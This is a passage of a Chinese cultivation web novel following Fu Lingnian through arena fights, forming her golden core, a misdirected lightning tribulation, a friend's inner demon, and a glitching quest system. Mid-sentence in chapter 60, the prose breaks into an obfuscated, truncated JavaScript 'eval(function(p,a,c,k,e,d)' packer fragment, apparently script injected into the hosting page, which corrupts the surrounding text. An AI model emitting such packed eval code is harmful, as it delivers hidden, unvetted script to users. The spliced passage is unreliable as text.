少女陷入劣势,最终口吐鲜血,跌落于地面。 黑衣之人咳嗽着大笑起来,胸前的衣物已然撕裂,“无意中”露出处于衣袍下方的物什。 那是一片银色龟甲状物,于昏暗灯光下泛着银光。 就在此时,白衣少女取出一颗圆形的物什,将其砸落于地。烟雾缭绕,两人身影皆隐没于其中。 一切尘埃落定。 看客雷鸣般的呼喊中,擂台被清扫一空。 拍卖主持者激昂嗓音逐渐远离,隐约能听见他在介绍那名为银龟缚甲的器具。 刚刚还躺在地上装吐血的伏令年缓缓坐了起来,笑眯眯地接过拍卖行侍从递来的一袋灵石。 “这是你的酬金,”侍从看着手中的名单,皱着眉头读出对方奇怪的名字:“AAA木延街市第一群演。” 60. 水到渠成 子时。 夜晚的木延街市比早晨更加热闹,金碧辉煌的拍卖行内,擂台赛进行如火如荼。 伏令年群演当多了便觉得无趣,也参与过几场真刀真枪的擂台赛。 对手多是身负灵力,但未经过系统修行的散修。 他们战斗多依靠本能,以及一些不成气候的剑术术法。 甚至无需接触,仅在拔剑之时,伏令年便能凭借彼此气场判断双方实力的差距。 就拍卖行如今的规模,以及擂台赛的层次,金丹期以下的修士通常皆不屑于参与。伏令年在各个方面都占尽优势。 因此,一般而言,战胜对手并不算困难,但今日同以往比起来似乎有些不同。 面前的对手身着黑衣,同样将自己的面孔隐匿于面具之下。 互相致意后,伏令年手附于腰间剑鞘,握剑,拔剑。 灵力于剑身上流转一周,赋予了普通铁剑璀璨夺目的流光。 剑出鞘,驱散阴霾,犹如云开月出。剑如弯月悬挂在天边,对于那些被剑光所包围的人来说,仿佛是目睹弯月从天际降临。 伏令年身随剑动,眨眼之间便逼近对手跟前。 出剑。 双剑相碰,气浪翻涌,衣袂飘飞。 伏令年与对手的黝黑的眼眸相对,不由稍稍发怔。 记忆流转,伏令年脑海中忽然浮现了一道面孔。 她并不知晓此人的姓名,也几乎未同他有所交谈,两人之间的交情甚至算不得“认识”,只能称是有一面之缘。 然而,伏令年心中就是有一种强烈的感受——面前之人就是他,数年前由于飞剑袭击而与她有一面之缘的那位杂役弟子。 手腕发沉,对方的力气远超伏令年的预料。 这自然不应当是一位杂役弟子应有的水准。 两人你来我往,竟打了个旗鼓相当。 伏令年在拍卖行打工久了,也是混出了一些名声。虽说她每次都会为自己做好掩饰,但身形特征总是骗不了人。 一时间,无数目光皆聚焦于两人身上,场内顿时安静下来,唯有剑鸣之声不绝于耳。 “铮——” 两道闪动的人影再次碰撞于一处,随着能刺破人耳膜的剑鸣之声,伏令年手中的铁剑从相接处崩碎。 同一时间,对手的面具被伏令年用破碎的剑身挑飞,露出其大半面容。 面前少年的面容同多年前那位杂役弟子的面容重叠了起来。 果真是他。 快速后撤间,伏令年捂住自己染上殷红的手腕,防止血液洒落,目光变沉。 对面的少年并未继续追击,他黝黑的双眸从面具之后显现,深邃而幽暗。仿佛洞穴中随时准备扑出的猎食者。 如同野兽般的目光。 而此时,这只野兽却强忍住了猎食的冲动,似乎在寻找着什么。 伤口开始发痒,灵力汇聚于伤口处,使伤口快速愈合。 一片沾染着血迹的铁剑碎片被伏令年夹于指缝间,上面残留着嫣红的血迹。 那是伏令年的血。 举起碎片,伏令年盯着对面的少年,嘴角勾勒出一抹没有温度的笑容。 她掀开一半的面具,露出小半张面孔。 “你在找这个吗?”她用口型说。 无视对方凶恶的目光,伏令年退后几步,身影隐没于台后。 看台上,随着主持人宣布胜利方的声音响起,几位下了赌注的观众高声咒骂着。 丑时。 伏令年闯入楚老头的灵田,被千云叨了两口。 “我身上没有丹药。”伏令年无奈地推开千云的脑袋,伤口处隐隐作痛。 千云晃着脑袋,去拱伏令年那只受伤的手。 伏令年:“……” 脑海中霎时间出现了许多画面。 鲜血与草药混合,一颗颗丹药成型…湍急的溪流当中,蛇颈人的尾钩穿透了她的血肉,允吸着她的鲜血…今夜,宛若野兽的少年对她鲜血的渴望,以及几年前,白玉塔前的相见…一切的一切,仿佛都在指向一个不可忽视的结论。 她的鲜,甚至是这具身体,都有问题。 这似乎也不是什么难以接受的结论。 她穿越一事始终是个未解的谜团,对这具身体六岁之前的事亦一概不知。一路行来,她内心深处其实早已对此有所准备。 然而,当这个结论就如此直白地摆在她的面前,却让她不由得感到胆寒。她感觉自己似乎成了一块唐僧肉,被妖魔鬼怪所惦记。它们垂涎三尺,就待将她吞噬殆尽 她身边可没有能保护唐僧的孙大圣。 因此,她需要成为自己的守护者。 寅时。 伏令年练出了一炉混着自己血液的丹药,却未再将其投喂给千云,因而再次被它狠狠叼了两口。 卯时。 打坐结束,伏令年回到遨月峰挨打。 今日修行方式很简单,就是跟沈枫泽对打。 ——不使用灵力,全凭□□和剑术战斗。 在拍卖行打擂台赛时,伏令年顾及身份,都会有所收敛,出手时多有思量。面对沈枫泽时,她倒是无需过多思考,也没有时间思考。 三人配合着,根据以往经验联手勉力支撑。 若是以往,实战能力较弱的高墨贤往往会成为第一个突破口。沈枫泽会从高墨贤开始,将三人逐个、彻底地击倒。 然而,今日成了突破口的人却是伏令年。 手腕上的伤口还未愈合,再加之心绪不宁,伏令年最先露出破绽。 “当”的一声,刚刚拿到手没多久的剑便被击飞,手腕处传来钻心的刺痛。 沈枫泽的剑身横扫,剑尖恰好斩断了伏令年飘荡于空中一缕发丝。 四人一时间再无动作。 沈枫泽面无表情,眼神锐利。 他目光下移,落于伏令年的手腕处。 伤口再度撕裂,点点血迹渗出。 伏令年想将手背到身后,却已是来不及。 “师兄…”且听我胡扯。 “擂台赛打输了?” 沈枫泽的话语却让伏令年没了侥幸的心理。 莫名有种在不正当途径赚快钱结果被长辈抓包的心虚感啊! 伏令年不吭声,三人你看看我我看看你,低头准备挨训。 “就输了一回,便道心不稳了?”沈枫泽声音冷冷,语调中带着他惯有的讥讽。 输赢乃兵家常事,伏令年自然不是为此而心神不宁。然而,真正的原因却又无法说出。 伏令年小心翼翼地抬头,正撞上沈枫泽的眼眸。 他的眼神平淡无波,似是永远都不会生出变化。 伏令年脑中一热,忽地问道:“师兄。” “如果你拥有一件宝物,有许多人窥探它,该怎么办?” “将他们打倒。” 很沈枫泽的回答。 “但是,我没有力量打败所有窥探者。” 伏令年已经做好了接受沈枫泽嘲讽的准备。 然而,沈枫泽却笑了一声。 他手上一松,手中的剑落下。 伏令年条件反射地伸手接过,耳边听见沈枫泽的回答:“那便不打,向你的师门寻求帮助。” 手中的长剑泛着光泽,不如神兵利器,却也非寻常铁剑可比。 伏令年抬头,朝沈枫泽投去疑惑的眼神。 “拿去,”沈枫泽道:“拿着它,去打倒那些窥探者。” 辰时。 天刚放亮,伏令年便敲响了事务堂的门。 门向后敞开,值班弟子看见伏令年三人,忍不住叹了口气:“你们遨月峰当真不用休息吗?” 她转身,给伏令年几人取下了一排木牌。 “喏,今日的宗门事务。” “多谢,张师姐。”伏令年笑着接过满满一袋木牌:“我们宗门贫苦,你也是知道的。” 张师姐哼笑一声,叹道:“贫苦也没有你们这样的,这几日宗内都流传着你们遨月峰出了几个只做任务不要命的弟子,来的晚些,便一个任务都领不着了。“ 遨月峰以往欠下的债实在太多,伏令年三人当牛做马,也仅是将遨月峰基本的日常福利给拿了回来。 宗内的许多事务都同宗门贡献点脱不开干系。 例如每月一次的宗门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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心中的担忧与郁气随着她每一剑挥出而消散,剑势由生涩变得流畅,由优雅变为凌冽。 脑海中时有画面闪动。 拾起木棒与温季才打闹似的对战,同林屿燕于速度上的角逐,江玉忻刚柔并济的剑术,沈枫泽一剑破万道的气势,以及相触间,那崩裂的碎片。 少年的身影似乎再显现,白面蛇颈人在其身后探出头来,长长的蛇性从中伸吐间,唾液不断滴落。一只只没有睫毛的眼睛从夜空中显现…他,它,或者祂们,都如野兽般,贪婪地注视着伏令年。 若是眼神能化作实质。 伏令年此时恐怕已经被拆解入腹。 寒意蔓延全身,恐惧将伏令年冻结,她试图挪动脚步,身体却重如千钧。 就在此时,剑鸣声起——神识海中的白玉剑与手中长剑同时发出剑鸣。 宛若蛟龙咆哮,可排山倒海。 伏令年再次夺回了身体的支配权。 拔剑。 时空仿佛凝固在此刻,草叶、微风、虫鸣、鸟叫…一切皆陷入沉寂。唯有流淌于剑身的月华涌动。 出剑! 伏令年的眼眸中再无他物,让人恐惧的眼眸,想要吞吃她血肉的蛇颈人与少年,一切的一切,皆淹没于她的剑光之中。 于此同时,神识海中“星辰”涌动。其中,隐约可见七颗星辰尤其明亮。 剑光斩破了残影,伏令年亲手斩碎了自身的恐惧。 同一时刻,她体内的灵力涌动,流转速度达到了经脉可承受的极限。 一股暖流于丹田处产生,随即,灵力如潮水受到牵引,争先恐后着奔腾而去。 她似乎要结丹了。 一切是如此的突然,又是如此的水到渠成。 秘境之外,天地变色,暗沉的乌云压顶,似有暴雨将至。 61. 雷劫降临 昆仑峰主殿内,宗主正与各峰的几位长老议事。 “四境大会将至,各位长老可有拟定的弟子人选?”宗主作于首位,脸上挂着万古不变的笑容,朝次座的几位长老询问。 “绯月峰已有人选。”一位长老笑着拱手,率先回答。 紧接着,其余峰的长老皆做出了回应。 四境大会,四境大小宗门将会齐聚一堂。他们会派遣修为在金丹期以上,元婴期以下的弟子,代表各宗各境参与角逐。 各峰多少少都有合适的弟子,唯独遨月峰除外。 一轮过后,众人的目光皆落于处于角落的少女身上。 安祉面对众人的目光,脸上的面具般的笑容未有变化。她朝宗主行了一礼,正要开口,却被一道不和谐的声音打断。 “你们遨月峰可真是辛苦。” 绯月峰长老阴阳怪气地道:“几位弟子东西奔走,看似勤勉,却无一人晋升金丹。难不成还要让你那位大师兄出战?” 安祉笑容不变,似是早以习惯了这样状况:“我们遨月峰并无以大欺小的喜好。“ 无论说者是否有意,听者却有心。 在场之人多少都对先前两峰弟子的冲突有所耳闻,不由得有了联想。 气氛一时有些僵硬,就在此时,几人皆仰头,目光仿佛穿透了障碍,望向天际。 遨月峰上,乌云聚集,雷劫正在积蓄。 安祉眸中掠过一抹讶色。 修士自筑基起,每突破一个大境界便会迎来雷劫。 不同天赋、不同修为者所引动的雷劫强度皆不同,可依此判断渡劫者如今的修为。 有弟子要结丹了。 这是众人心中共同的想法。 云层堆叠,天地变色,自遨月峰为中心向外扩展,却迟迟未有惊雷降下。 两个时辰过后,云开见月,天空归于寂静。 大殿内的一时鸦雀无声。 这是突破失败了? …… 伏令年离开秘境,繁星点缀于夜空,柔和的月光洒落于身周。 呼吸间,灵力周转,身体轻盈似踏于云雾间。 长时间以来积聚的郁气皆烟消云散,整个人如获新生。 体内积累的杂质尽数被排除,身上有些粘腻,伏令年打算回居所清洗一番。 今日可谓是双喜临门,她成功结丹,小师叔亦“醒来了”。 裴知许与几月前相比起来,似乎没什么不同。依旧一身素白衣裳,眸若星辰,温润如玉。 他坐在轮椅之上,亦抬眸望着天际,似在思索着什么。 “小师叔?”伏令年唤了他一声。 “嗯。”裴知许应了一声,看向伏令年,忽地笑了一声。 伏令年被他看得有些古怪,面露疑惑之色。 却听裴知许说:“先回居所休整一下吧,你刚刚结丹,境界还未稳定。” 待伏令年离开,裴知许望向右侧,无奈道:“师兄。” 沈聿泽的身影兀然显现于裴知许身侧,长发依旧披散着,却已没了早晨那醉醺醺的模样,唯有隐约酒香飘荡于四周。 “还以为你又要在月境里头沉睡个十年八载呢。”沈聿泽语气随意,仿佛在同师弟拉家常。 裴知许笑了笑,轻声道:“睡得太久了,有时会忘记自己还活着…最近峰上倒是热闹了许多。” 他话题转换的有些突兀,沈聿泽却很顺畅地接了下去。 “岂止热闹,简直是吵闹。” 裴知许脑海中不由浮现出伏令年围着他问东问西的场景,不由得失笑。 “热闹总好过过于清净,也算给枫泽与小祉找了伴。” “你这话讲得,我要以为他俩还是孩子了。” “于我们两个老家伙而言,也算得上孩子了。” 两人行至巨树下,沈聿泽抬手轻抚巨树的树干,似在同裴知许说话,又似在自语:“我们也算得上老家伙了…真是时不待人…不知与这槐岩松相比,我们算不算作孩子?” …… 回到居所,伏令年才明白小师叔究竟在笑何物。 透过水面,伏令年望着自己的大花脸,欲哭无泪。 小师叔也是不厚道,竟也未提醒她一声。 一路回到居所,也不知有多少人瞧见她这副狼狈的模样。 烧了一桶热水,伏令年洗净面孔,舒舒服服地任由自己浸泡于浴桶之内。 突破后体内排出的的污垢尽数被洗净,热气蒸腾着,身体晃晃悠悠,困倦涌上心头。 伏令年隐约觉得自己忘记了什么,一时间却又想不出来。 直到一道惊雷划破天际,伏令年才猛然被惊醒。 惊雷? 脑中灵光乍现。 披上衣袍,伏令年赶到院中。 原本破烂的小院子已经被伏令年种上了各种渠道获取的草药,甚至还移植了一棵用作乘凉的树,显得生机勃勃。 伏令年拨开遮挡住夜空的枝叶,看向头顶。 黑云压顶,电闪雷鸣。 遨月峰上方,有雷劫云聚集。 伏令年总算想起自己究竟忘记了什么——她突破为金丹期后,为何未有雷劫降临? 这十分不修仙啊! 若说与她身处秘境有关,那在她离开秘境之时,也未见雷劫降临。 难不成,雷劫也有延迟性? 黑云翻滚着,第一道雷劫落下,回答了伏令年内心的疑惑。 它并未劈向伏令年,而是劈向了她附近的山头。 那是温季才所居住的山头。 紫金色的雷劫宛若一条条游龙,争先恐后地劈落。天空中黑云翻滚涌动,威压沉重可怖。 一道,两道,三道… 每一道雷劫劈下,下一道雷劫便接踵而至,大小与威力远胜于先前。 即使处于雷劫范围之外,伏令年却依旧觉得心中胆寒。 何其恐怖的天地之威。 人处于黑云之下,仿若蝼蚁。 金丹期的修士,通常需度过四九天劫,即承受三十六道天雷。 狂风呼啸,伏令年离开院落,立于空地之上,仰头望着一道道雷劫落下。 体内的金丹似乎也被如此场景引动,随着雷鸣而震动。 雷劫已至第三十道,伏令年在心中默数着,同时为温季才擦了把汗。 三十一、三十二、三十三、三十四、三十五… 只余下最后一道天雷! 伏令年心脏跳动加快。 第三十六道雷劫始终未有降下,天空的云层更加沉厚,沉得让人喘不过气。 不知过了多久,随着能震破耳膜的雷鸣之声,最后一道雷劫劈了下来。整个天际仿佛皆被照亮。雷劫摧枯拉朽,一时地动山摇。 最后一道雷劫仿佛 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今日,昆仑宗总共出现了四次劫云。除去第一次,其余三次劫云都引动了雷劫。 劫云分别出现于遨月峰、绯月峰以及归鸿峰之上。 面对众人的夸赞与恭贺,三峰之人除了归鸿峰竟无一人面露喜色。 安祉在奇怪第一次雷劫究竟出了何事,绯月峰长老则由于被遨月峰压了一头略有不爽。 议事结束,安祉快步朝遨月峰赶去。 路上竟遇见几位青叶峰的弟子和高墨贤,他们乘着法器,所行的路线亦是飞往遨月峰。 跟着几位弟子,安祉来到了伏令年居住的山头。 衣衫破烂的温季才瞧见来人,立即招呼着:“你们总算来了。“ 安祉定睛一看,才发觉地上躺着一个黑乎乎的“人”。 她有些不确定地问道:“刚刚的雷劫,是谁引动的?” 旁边打扮如同乞丐的温季才弱弱举手。 安祉:? 雷劫劈的明明是温季才,倒在地上的伏令年又是怎么回事?! 伏令年转醒之时,人已经躺到了青叶峰。 来的次数多了,医院都有了一种家的感觉。 神识自视自身,伏令年确定自己未受严重的内伤,便翻身坐起。 随着她的动作,身上被烧焦的皮肤皆脱落下来,新的皮肤已经生出,可见金丹期修士恢复能力之强。 刚刚虽措不及防地被连续劈中,伏令年也只是受了些较轻的皮肉伤。 之所以昏迷,并不是由于受伤。 眼前陷入黑暗之时,伏令年做了梦。 梦中,伏令年身处于郁郁葱葱的树林之中,那只会说话的“兔子”并未出现。 耳边只有树叶晃动的沙沙声,身体随着风缓缓摇晃。 “咚咚、咚咚。”脑袋上传来古怪的敲击声,伏令年向抬头查看,却无奈地发现自己依旧无法动弹。 又过了一会,伏令年眼前绿影晃动,一只长着尖喙的小鸟落到了她的面前。 小鸟歪着脑袋,竟直直朝她脸上啄来。 “咚咚、咚咚、咚咚” 伏令年未感到疼痛。 她后知后觉地察觉,她现在,似乎是一棵树。 62. 心魔滋生 太阳东升西落,日月更替,时光流逝。 眼前的一切似乎都被按下了快放键,伏令年就这么扮演着“树”的角色,见证岁月更替,阴阳穿梭。 她像是一个旁观者,见证着万物生长,枯败死亡。 鸟儿会在她的枝头啼叫,松鼠于枝叶间跃动。 她是一个保护者,以伸展的枝叶庇佑着幼小生灵成长。 画面逐渐变暗,眼前模糊的同时,耳边又传来了熟悉的、难以辨别的呓语之声。 呓语声如同一排排钢针,扎入伏令年的脑海。神识海也因此动荡。 灵识海应念而动,一层屏障生成。 屏障隔绝了部分呓语,伏令年虽依旧感到脑袋疼痛,却比以往的每一次都要好了许多。 哭泣声,祈求声,呼唤声。 伏令年一边忍受着疼痛,一边侧耳倾听。 “神啊…为何要这样对我们?” “我好痛…救命…我好痛…” “救救我们…不要…” 霎时间,脑海被冗杂的声音所填满,神识海的屏障被剧烈的冲击击碎。 沈聿泽的话语再次在伏令年心底浮现:不要看,不要听,不要说。 然而,已没有了后悔的余地。 她也为自己的好奇心付出了代价。 太阳穴还在一抽一抽得疼,手撑支撑着上半身,伏令年吐出了几口涌上喉间的鲜血,呼吸逐渐通畅。 面对听闻她醒来赶到的陆辞书,伏令年尴尬地笑了两声:“好巧,又见面了,陆师兄。” …… 当夜,伏令年通过检查,成功“出院”。 她的身体并无大伤,精神上却宛若被抽空了灵魂,情绪莫名低落。 回到居所,伏令年推开房门,就见温季才很嚣张地霸占了她安置在屋中的唯一一张铺有软垫的椅子。 他亦清洁了身体,并换了一身衣服,看上去精神焕发。 见到伏令年,温季才得意地道:“我结丹了。” “哦。”伏令年敷衍地回复了一句。 伏令年不配合,温季才顿感无趣。 “真没意思。”温季才叹了口气:“明日的例行修炼暂停,安师姐要同我们议事。” “好的。”伏令年从内到外都透露着疲惫,却见温季才没有离开的意思。 用眼神示意,温季才依旧岿然不动。 “我要沐浴了,你…” “我在院子等你。”温季才抢答。 “?”伏令年瞪他。 温季才这才解释道:“我的屋子…度雷劫的时候被劈坏了。” “高墨贤呢?” 右侧传来细细簌簌的动静,窗户被掀开了一个空缺,恰好能探入一个脑袋。 高墨贤面无表情的脑袋出现在伏令年面前。 “住的太近,房子一起被劈没了。” 他解释道。 伏令年:…… 她好累,身心俱疲。 “你俩到院子里呆着。” 伏令年觉得自己急需再泡个热水澡,换身干净的衣裳,再好好睡上一觉。 脑袋刚挨到被褥,伏令年便昏昏沉沉地睡了过去。 不知过了多久,伏令年忽地睁开双眼,清醒了过来。 金丹期修为的神识更加强大,伏令年立即便察觉到了门口的异动。 本以为是温季才又在搞怪,却未想偷偷溜进房屋内的居然是高墨贤。 “啪嗒”一声,伏令年打了个响指,一团火苗从指尖窜出,照亮了小小的空间。 高墨贤被抓了个正着,两人默默相望。 在伏令年开口之前,高墨贤突然道:“隐息阵,需要的符咒和摆阵方式。” 伏令年遵从内心:“成交。” 高墨贤在门口仔仔细细将衣袍上散落的尘土清理干净后,才踏入屋内坐下。 伏令年早就察觉到了,高墨贤似乎有洁癖。 也不知道他是如何忍受在沈枫泽手底下摸爬滚打的,或许这就是对修剑的热爱吧——当然,也有可能是他光顾着痛了,没时间在意肮脏与否。 没高墨贤坐下打坐没多久,温季才也闻声而入。 “这不公平。温季才一脸不善,摆出一副“我要开始闹了”的模样。 奈何面对他的是伏令年。 “v我500上品灵石,我睡地板你睡床。” 温季才不知道v我是何意,却能听懂“500上品灵石”,不难猜出伏令年的意思。 他脸皮厚,也不在乎伏令年危险的眼神,也赖在了屋内。 被这么一搅和,伏令年睡意全无。 脑中回想起被雷劈的种种,伏令年问道:“今日宗内还有其余弟子在渡劫?” 温季才消息一向灵通,闻言回答道:“除了我,还有两位。一个是绯月峰的弟子,另一位是归鸿峰的弟子。” 果然如此。 最后劈向伏令年的,正好是三道劫雷。 “具体是谁,你知晓吗?”伏令年问。 “明日去找小言言问问,不就知道了?”温季才也不知晓具体情况。 …… 从承言于打坐中醒来,可怖的画面依旧萦绕于他的脑海。 那是他梦中无数次出现的画面,血与深渊,人们的哭泣,亲人的叮嘱,无数清晰或模糊的面孔,皆是他挥之不去的噩梦。 心有郁结,心魔自生。 若不是身负灵剑赤霄,能够一定程度上保持心明,从承言恐怕会在突破之时困于心魔,从而走火入魔。 睁开双眼,目视自身。 经历了三十六道雷劫以后,他身上的衣服近乎完好无损,只见皮肤处有些焦黑。 神识有所触动,从承言循着望去,眼眸中映出一道殷红的身影。 那是一道女性的身影,她身着张扬的红色羽衣,大半面孔隐匿于面纱之后,隐约可见其锐利英气的眼眸。 从承言怔愣几秒,随即朝女子行了一礼:“师父。”他垂眸喊道。 红衣女子“嗯”了一声,深深看了从承言一眼。 “你的心不静。” 她如此说。 “仅是金丹期,便有心魔滋生。”女子语气平淡,结丹在她眼中似乎只是在路边买了个鸡蛋:“若无法静心,你走不长远。” 从承言没有否认,也并未解释,只是低着脑袋,姿态恭敬。 “赤霄剑无需无用之主,我绯月峰也不收心中无志之人。” 从承言的沉默以对似乎让女子生出了误会。 女子右手微抬,灵光乍现。 一个雕着精美花纹的木盒落到了从承言面前。 “在参加四境大会以前,你便待在幻灵塔内静修。”女子用不容质疑的口吻说道:“若 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再后来,便是与江玉忻发生冲突。 在如今,是她偷闯绯月峰被抓包。 总之,两人几次会面都不是特别美好。 “抱歉师姐,走错了。”伏令年不想在此同绯月峰的弟子起冲突,何况对方修为明显高于自己许多,才能让她进入屋前无法察觉。 这么说着,伏令年拉开窗户,就想再从中跳出去。 “等一下。”孟如烟喊住了她。 伏令年一只脚已经踏上了窗沿,以极不优雅的姿势回头看向孟如烟。 孟如烟无奈地叹了口气:“我知道你们是来找从师弟的,他不在此,近日也不会回来了。你们莫要再私闯绯月峰了。” “他去哪了?”伏令年皱眉问。 “幻灵塔。”孟如烟未作隐瞒:“他心中似有魔障,你们作为他儿时的好友,是否有所了解?”她目光变得锐利,似是想在伏令年脸上找出些蛛丝马迹来。 从承言入绯月峰时间已有四年,孟如烟作为师姐,同他相处时间亦不算短。 从承言的剑术天赋惊人,就是孟如烟也有些自愧不如。然而,如此一位有天赋的少年,却似常年被心魔缠绕。 作为大弟子,孟如烟认为自己有关护师弟师妹的责任,但从承言从未对她敞开过心扉——更准确来说,他似乎未对绯月峰的任何人敞开过心扉。 他与绯月峰的众人,始终隔着一层看不见的屏障。 见伏令年几人翻窗的熟练架势,孟如烟不用脑袋想也能猜到,他们不是第一次干这种事情了。 这几位同从承言从外门出来的弟子,与他的关系属实是不一般。 然而,让她失望的是,伏令年的表情没有任何变化,只是对从承言身处“幻灵塔”一事生出了讶异之情。 “人心中总是会有魔障的。”伏令年回答的滴水不漏。 离开绯月峰,伏令年与温季才相视一眼,都在彼此眼中看出了担忧。 从承言身负血海深仇一事,宗内应当只有他们两人知晓。不知是不是因为故事,他才心生心魔。 或许,他们可以到幻灵塔去看看。 63. 入塔前夕 这个想法很快便得到了实现。 倒不是伏令年几人执行力超群,而是碰巧瞌睡了遇上有人“送枕头”。 四境大会到来,各峰都将派出处于金丹期以上,元婴大成期以下的弟子代表昆仑宗参与天才云集的四境大会。 若是别的峰,免不得还要进行内部的选拔。他们遨月峰就不同了,符合要求便能直接上。 “我有问题,师姐。”排排坐着的三人中,伏令年举手提问。 在安祉的眼神示意下,伏令年问道:“要求参加四境大会弟子至少为金丹期可以理解,可为何还要要求弟子修为不超过元婴期呢?” “因为秘境。”安祉解释道:“四境大会将会在四个秘境中举办,秘境能承载修仙者有限,会限制进入修士的境界。为了保证秘境的稳定性,因而要求修士的修为处于元婴期之下——更准确来说,是元婴大成期以下。像大师兄,他正好处于元婴大成期,便无法参加。” “若是在秘境中获得机遇连续突破了呢?”温季才的问题并非没有可能。 就伏令年看小说的经验来看,秘境什么的不正是主角突破事件的高发地么。 “不会。”安祉语气很笃定:“元婴期,每一个小境界的突破都极为困难,非筑基期与金丹期可比的。且秘境之内无雷劫,未经过雷劫,便不算得真正突破。” 说完这句话,安祉有些意味深长地看了伏令年一眼,让她有些心虚。 按常理来说,修士在秘境中摸到突破门槛、冲破境界后,离开秘境便会立即被天道察觉,从而降下劫雷。 而伏令年却不同,她还隐约记得,自己离开秘境时,月明天晴,别说雷劫,就是乌云也未见半分。 这显然有古怪,可伏令年本身也不晓得到底是哪里的问题。 只能将一切都归于系统与身体原主的特殊了。 “不过——”安祉突然说了个转折词:“我刚刚说得也不太完全。” “有一种人,他们突破境界时无需经过雷劫。”安祉眼眸低垂,让人看不清她的神色:“修士通常将他们称作——无界之人。” “不过这类人极少,”安祉忽地笑道:“百万之中都不出一个,若是遇见,也是你们有幸。” 修仙一途,修士不是困于一境不得精进,或是陷于心魔无法自拔,便是殒命于雷劫当中。 境界越高,雷劫便愈加恐怖。 多少修士都折在雷劫之中。 无界之人着实是修仙界bug一般的存在。 “好了。” 安祉讲累了,翻了翻自己手中的留影石,将剩余的注意事项直接投影出来给伏令年三人看。 其中,一条要求引起了伏令年的注意。 参与四境大会的弟子,需前往幻灵塔参与试炼。 “你们三人都去。”安祉道。 遨月峰着实无人可用了,高墨贤虽还未突破金丹期,却也勉强算得上预备役。 前往幻灵塔修行的时间定于下周,那时,伏令年将会见到宗内所有有资格参与四境大会的弟子。 在此期间,伏令年还是照常行动,一人打三四分工。从宗内到街市,一刻都未停歇。 伏令年未再于拍卖行见过那位杂役弟子,私下向拍卖行的熟人询问,亦未得到他的后续信息。 因此,她还特地前往宗内杂役弟子的居住地,却得到了他已然离开宗门的消息。 “他何时离开的?”伏令年问。 “何时?”少女皱眉思考了片刻,不太确定地道:“约莫是三日以前吧,我同他不相熟,不大清楚。” 见伏令年准备离开,少女又喊住了伏令年:“师姐,你找他有何事?” 她有些犹豫着提醒道:“他…听说他曾是内门弟子,后修为被废才成了杂役弟子。师姐你还是莫要与他过多相处。” 修为被废?与他对战之时,伏令年可半分看不出来他修为被废。 伏令年心中疑惑更深。 “多谢。”伏令年向少女道谢。 其后,她又前往戒律堂,想打听一下那杂役弟子的信息。 在宗门任劳任怨做打工人也并非没有好处,伏令年很快便找到了认识的弟子。 “修为被废除的弟子?我倒是有所耳闻,名为…尉迟阑…对,就是个名字。”戒律堂的弟子眉头紧锁:“但具体情况我也无法得知。若你有什么要事,不如去问问许师兄。” 许子迁? 伏令年与他有过几面之缘,不过每一次见面都颇具戏剧化。 后来得知,许子迁是宗主门下的亲传弟子,来头不小。他又为何同那位修为被废除的弟子扯上了关系? “那位弟子,是昆仑峰的?”伏令年压低了嗓音问。 戒律堂弟子正想说话,却一下闭上了嘴。 在他的眼神暗示下,伏令年意有所感,头皮发麻。 这种熟悉的感觉。 伏令年仿佛重回高中,晚自习时与同学聊天时被从窗口探进来的教导主任抓包的场景。 她僵硬着转过脑袋,对上了一双湖蓝色的眼眸。 “许师兄。”伏令年干笑一声,装作无事发生:“好久不见哈哈哈哈,再见。” 话毕,伏令年一溜烟跑开了,只留给许子迁一个迅速远离的背影。 独留下可怜又无助的戒律堂弟子:“师…师兄好。” 许子迁是伏令年在宗门内除了沈枫泽以外第二不想遇见的人,伏令年每次看见他便像是遇上了债主,总觉得她阴差阳错从对方手上赖来的灵石会被他要回去。 虽然未找到人,伏令年这一趟也算是有所收获,她得知了那位弟子的名字——尉迟阑。 前往幻灵塔那日前,伏令年完成了【第二学期任务】中的最后一项任务——炼制三品灵符大成。 制符与炼丹所要求的能力不同,多年的练习让伏令年逐渐掌握了炼丹的诀窍。而对于制符,伏令年还正处于摸索当中。 其间多亏了高墨贤提供的隐息阵。 隐息阵是高阶的法阵,正常而言,修为达到金丹期以上才能够独立制作。 高墨贤使用的是一种半成品法阵,需要使用的时候,使用者将已经铭刻好的符咒进行组合,并按照一定规则输入灵力激活即可。 这样的法阵造价不菲,而高墨贤却拥有不少…看来他家底的确颇为深厚啊。 高墨贤从未细说他的家世,伏令年也不好多问。 他总给伏令年一种矛盾的感觉。 明明家中似乎有一个收藏颇丰的藏书阁,身上还携有造假不菲的法阵,却非得在遨月峰苦哈哈地住着破旧的小木屋,甚至没钱保养佩剑还得和伏令年一样靠打工赚钱。 思维跑偏了一会,伏令年收敛心神,将困惑和欣喜统统压下。 面前漂浮的黄色符纸缓缓落入涂有黑色涂层的木盒当中。 木盒关闭,隔绝了轻微外泄的灵力。 伏令年将注意力转移到了神识海中。 【九十年义务修仙系统——第二学期任务已完成】 【九十年义务修仙——第三学期任务 ①阅读《灵植学必修三》(作业:完成《灵植学大全》第三篇、第四篇收录) ②阅读《炼丹术必修三》《炼丹术选择性必修一》(作业:炼制四品丹药、五品丹药大成) ③阅读《制符术必修三》《制符术选择性必修一》(作业:炼制四品灵符、五品丹药大成) ④修仙者需德智体美劳全面发展,修为达到元婴大成期。 ⑤点亮七星阵魁(0/4)(详情见《聚魂功法·进阶》) ⑥参与四境大会,获取秘境钥种(0/4) ⑦杀死口口口*&%@】 超级加倍的任务,以及…古怪的第七项任务。 第七项任务的字体呈现不详的暗红色,后续部分更是成了一团乱麻,黑乎乎的文字扭曲着蠕动,看不真切。 当伏令年再次细瞧时,第七项任务消失了。 原本所处的地方空白一片,未留下丝毫痕迹。 伏令年都要以为自己刚刚是眼花了。 可此处是神识海,也自然没有眼花这一说法。 系统任务被未知的力量抹去了,就在眨眼之间。 伏令年顿感毛骨悚然。 她不认为“系统”还有卡顿的可能,也确信刚刚并非自己臆想的幻觉。 莫名出现的系统本就是凌驾于伏令年之上的未知事物,而正是这样的系统,竟还会被未知力量所影响。 伏令年尝试着多次“刷新”任务界面,第七项任务都未在出现。 就在伏令年将要放弃之时,标志着⑦的任务蓦然浮现。 